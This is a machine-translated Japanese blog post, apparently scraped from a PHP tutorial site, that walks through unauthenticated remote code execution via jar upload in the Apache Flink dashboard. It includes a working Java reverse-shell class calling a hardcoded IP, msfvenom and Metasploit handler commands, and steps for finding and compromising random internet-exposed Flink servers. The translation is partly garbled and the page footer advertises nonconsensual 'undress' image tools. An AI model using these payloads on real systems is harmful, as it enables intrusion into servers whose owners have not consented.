Apache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例
脆弱性の説明:
2019 年 11 月 11 日、セキュリティ エンジニアの Henry Chen は、Apache Flink が承認なしに jar パッケージをアップロードし、リモートでコードが実行される可能性がある脆弱性を公開しました。 Apache Flink ダッシュボードはデフォルトで認証なしでアクセスできるため、悪意のある jar パッケージをアップロードして悪意のあるコードの実行をトリガーすることでシェルを取得できます。
影響範囲
<= 1.9.1 (最新版)
環境設定:
(1) インストール事前に適切な java (java8 以降が必要)
(2) flink-1.9.1
ダウンロードアドレス: https://www.apache .org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) ダウンロードした圧縮パッケージを解凍します:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
( 4) 解凍されたディレクトリに移動し、その bin ディレクトリに移動します。
(5) flink を開始します:
./start-cluster.sh
(6) ブラウザ アクセス検証 (デフォルトのポートは 8081):
http://172.26.1.108:8081
(7) 起動時の自動起動を設定する(ここで長い間苦労しているのですが、立ち上がれません。source /etc/rc.d/rc.local から直接起動できますが、flink では起動できません)再起動しても起動せず、ようやく解決策を見つけました)
起動時の自動起動設定
脆弱性再発:
jar パッケージの作成手順:
( 1) Java を使用してシェルをリバウンドする方法については、記事 https://klionsec.github.io/2016/09/27/revese-shell/#menu を参照してください
IP とポートを変更することを忘れないでください:
コード:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <p></p> <p>## b. 次に、「java-->Runnable JAR file<img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p></p> <p>」を選択します。c. 次に、対応する Java プロジェクト、エクスポート パス、およびエクスポート ファイル名を選択します<img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p></p>##図 <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析">これはリバウンド シェルの jar パッケージを生成します</p> <p>msf は jar horse を生成します:</p> <p>(1) msfvenom を使用して jar を生成しますhorse:</p> <pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) msf のリッスン モジュールを開き、ポート 9999 をリッスンします (jar horse によって設定されたポートと一致するように)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
# #(3) 生成した jar ホースをアップロードして送信した後 (一部の操作については、以下の再現を参照してください)、シェルを正常に受信したことがわかります:
ローカル複製:
(1) アクセス ターゲット:
(2) [Submit New job] をクリックして、jar をアップロードするためのページを開きます。パッケージ:
#(3) [新規追加] をクリックして、作成した jar パッケージを選択します:
#(4)マシン上のポートを監視します (作成した jar パッケージはシェルを直接再バインドします)
(5) アップロードしたばかりの jar パッケージをクリックします:
(6) 次に「送信」をクリックすると、シェルを正常に受信したことがわかります:
インターネット サイト:
fofa キーワード:
(1) ランダムなターゲットを見つけます:
(2) [Submit new Job] をクリックすると、jar パッケージをアップロードできることがわかります
(3) flink の機能を使用して、jar パッケージをアップロードします。
(4) アップロード後、 vps 上のポート
を監視します (5) 次に、ブラウザに戻り、アップロードした jar パッケージを選択し、[送信] をクリックして送信します。vps がシェル# を正常に受信したことがわかります。
以上がApache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









Eclipse に jar パッケージをインポートする方法: 1. 新しい Java プロジェクトを作成する; 2. ライブラリ フォルダーを作成する; 3. jar パッケージをライブラリ フォルダーにコピーする; 4. プロジェクトのビルド パスを構成する; 5. jar パッケージをビルド パス; 6. プロジェクトのビルド パスの構成; 7. インポート結果の確認; 8. 注意事項; 9. その他のインポート方法; 10. クリーンアップと更新; 11. ライブラリのメンテナンスと更新。詳細な紹介: 1. 新しい Java プロジェクトを作成し、Eclipse IDE を起動し、上部のメニュー バーの [ファイル] メニューなどを選択します。

Maven が jar パッケージをインポートする手順: 1. jar パッケージをダウンロードする; 2. Maven プロジェクトを作成する; 3. 依存関係を追加する; 4. 依存関係要素を追加する; 5. pom.xml ファイルを保存する; 6. プロジェクトをビルドする; 6. 依存関係を追加する7. インポートを確認します。詳細な導入: 1. jar パッケージをダウンロードします。まず、関連する Web サイトまたはソース コード ウェアハウスから必要な jar パッケージをダウンロードします。ダウンロードした jar パッケージがプロジェクトと互換性があり、必要なバージョン要件を満たしていることを確認します。2. Maven プロジェクトを作成します。 Maven プロジェクトがまだない場合は、まず Maven プロジェクトを作成する必要があります。

SparkStreaming と Flink はどちらも、異なる機能を持つストリーム処理フレームワークです。 プログラミング モデル: SparkStreaming は SparkRDD モデルに基づいていますが、Flink は独自のストリーミング API を持っています。状態管理: Flink には状態管理が組み込まれていますが、SparkStreaming には外部ソリューションが必要です。フォールト トレランス: Flink はスナップショットに基づいていますが、SparkStreaming はチェックポイントに基づいています。スケーラビリティ: Flink はストリーム オペレーター チェーンに基づいていますが、SparkStreaming はクラスターのスケーリングに基づいています。リアルタイム データ集約のユースケースでは、Flink の方がスループットが優れているため、一般的に SparkStreaming よりも優れたパフォーマンスを発揮します。

ビッグデータ時代の到来により、データ処理はさまざまな業界で注目され、解決される必要がある問題となっています。高性能データ処理ツールとしての Flink の登場により、効率的で信頼性が高く、スケーラブルなソリューションが提供されます。この記事では、Go言語でFlinkを使用して効率的なデータフロー処理を実現する方法を紹介します。 1. Flink Apache の概要 Flink は、オープンソースの分散データ処理プラットフォームであり、その目標は、大規模なデータを処理するための効率的で信頼性が高く、スケーラブルな方法を提供することです。

タイトル: Maven Advanced Tutorial: Jar パッケージのインポートのさまざまな方法の詳細な探索 Maven は、Java プロジェクト管理ツールとして、プロジェクトの構築、依存関係の管理などに広く使用されています。実際の開発プロセスでは、さまざまなサードパーティ ライブラリの Jar パッケージを使用することが多く、Jar パッケージを効率的にインポートする方法は習得しなければならないスキルとなっています。この記事では、Maven に Jar パッケージをインポートする方法 (ローカル Jar パッケージ、リモート ウェアハウス Jar パッケージ、カスタム Jar パッケージの使用など) を詳しく掘り下げ、具体的な詳細を示します。

MySQL Jar パッケージの使用ガイドと注意事項 MySQL は一般的に使用されるリレーショナル データベース管理システムであり、多くの Java プロジェクトではデータ ストレージのバックエンドとして MySQL が使用されています。 Java プロジェクトで MySQL データベースと対話するには、MySQL が提供する Java ドライバー (つまり、Jar パッケージ) を使用する必要があります。この記事では、MySQL Jar パッケージの使用ガイドラインと注意事項を紹介し、読者が MySQL ドライバーをより効果的に使用できるように具体的なコード例を示します。 1.M

Maven 入門ガイド: Jar パッケージを正しくインポートするには? Maven は、開発者がプロジェクトの依存関係を管理したり、プロジェクトを構築したりするのに役立つ強力なプロジェクト管理ツールです。プロジェクト開発中、一部の機能を実装するために外部 Jar パッケージをインポートする必要があることがよくあります。この記事では、Maven を使用して Jar パッケージを正しくインポートする方法を紹介し、具体的なコード例を示します。まず、Maven の pom.xml ファイルに必要な Jar パッケージへの依存関係を追加する必要があります。 pom.xml には、

MySQL の Jar パッケージとは、MySQL データベースに接続して操作するために使用される Java ドライバー パッケージを指します。 Java開発では、MySQLデータベースとの連携機能をJarパッケージで実装する必要があります。 MySQL の Jar パッケージは、開発者が MySQL データベースに簡単に接続し、SQL ステートメントを実行し、クエリ結果を取得し、その他の操作を行うことを可能にする一連のクラスとメソッドを提供します。通常の状況では、開発者は公式 Web サイト、Maven リポジトリ、その他のチャネルを通じて MySQL Jar パッケージをダウンロードできます。
